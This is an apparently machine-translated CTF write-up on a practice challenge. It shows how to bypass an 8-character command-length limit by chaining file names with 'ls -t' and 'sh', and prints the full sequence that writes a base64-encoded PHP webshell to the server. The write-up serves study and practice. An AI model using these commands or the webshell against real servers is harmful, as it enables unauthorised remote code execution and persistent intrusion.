当前位置:网站首页>CTF_ Web:8-bit controllable character getshell
CTF_ Web:8-bit controllable character getshell
2022-06-25 04:30:00 【AFCC_】
Title source
Practicing recently CTF Medium web I encountered a problem 8 You can execute commands at will within characters , In the end getshell The subject of , I found that many predecessors have written this type of problem solution , But you also need to practice yourself , The title source code is accessed as shown in the figure :
Ideas : You can see that when the submitted parameters 1 Contains values less than 8 When a , Will be executed as a command , First ?1=ls All file names were found to exceed 8 position , Obviously, this alone 8 Bit execution commands are not sufficient cat Some document , So you need to execute the code with the spliced file name getshell.
Use knowledge points to solve problems
>a " stay linux This file will be created directly in , But there's no content "
ls -t " Arrange the files in the directory in chronological order , The last one created comes first "
sh a " Will file a All the contents of the are executed with the command "
who/
am/
i "Linux Command splices in / Will follow the order whoami perform "
for example 
In this topic is to write a one sentence Trojan horse to a file , Then visit this sentence to getshell, The command used here to create a sentence is :
echo <?php echo shell_exec($_GET[1]); >1.php " Easy to view echo "
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php " Use base64 To avoid $ Failed to input special characters "
Input this passage in reverse order and then use it ls -t>0 Execute in the positive order input text , You can generate a one sentence Trojan horse , Note that all characters must be \ escape .
>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
Use cat a see ls -t Written content 
Use ls see sh a Whether the generation was successfully executed 1.php
And connect to use mv flag.php flag.txt take flag It is amended as follows txt Format .
Final visit flag.txt obtain flag
边栏推荐
- A-table mouse over the display hand, the current line can be clicked
- The yii2 debug toolbar is missing
- How to install opencv? Opencv download installation tutorial
- 【LeetCode】22. bracket-generating
- Thorough understanding of database transactions
- @Requestbody solution get parameter is null
- 升级cmake
- 【esp32学习之路6——flash加密】
- Finereport displays and hides column data according to conditions
- 微信小程序父子组件之间传值
猜你喜欢

文本关键词提取:ansj

地方/園區產業規劃之 “ 如何進行產業定比特 ”

Exercise: how difficult is it to simulate the blessing lottery two-color ball - China 500W grand prize? Just run the code.

UCLA | generative pre training for black box optimization

Lecture record: data processing methods and applications of various spatial geodetic techniques

Siddhartha: the book of life can be regurgitated frequently

Watch out for the stolen face! So many risks of face recognition used every day?

Can Navicat directly operate the Android database SQLite

马斯克发布人形机器人,AI对马斯克为什么意义重大?

什么是存储引擎以及MySQL常见的三种数据库存储引擎
随机推荐
CMD operation MySQL in Windows
Standing wave ratio calculation method
IntStream API介绍
什么是存储引擎以及MySQL常见的三种数据库存储引擎
简单的恶意样本行文分析-入门篇
Is opencv open source?
Win10 environment phpstudy2016 startup failure record
Failed to install redis interface
Cesium drag 3D model
Coinlist how to operate the middle lot number security tutorial
A detailed summary of TCP connection triple handshake
什么是数据持久化?
数字时代的“文艺复兴”?起底数字藏品,让人欢喜让人愁
How to draw an industry investment map
Lecture record: history and development of strapdown inertial navigation solution
Lecture record: data processing methods and applications of various spatial geodetic techniques
MySQL order by
2021.6.14 notes
Retrofit 源码分析
【openwrt】推荐一个国内开发的openwrt的版本,iStoreOS简介,非常好用,主要是做了一些优化。解决了汉化的问题。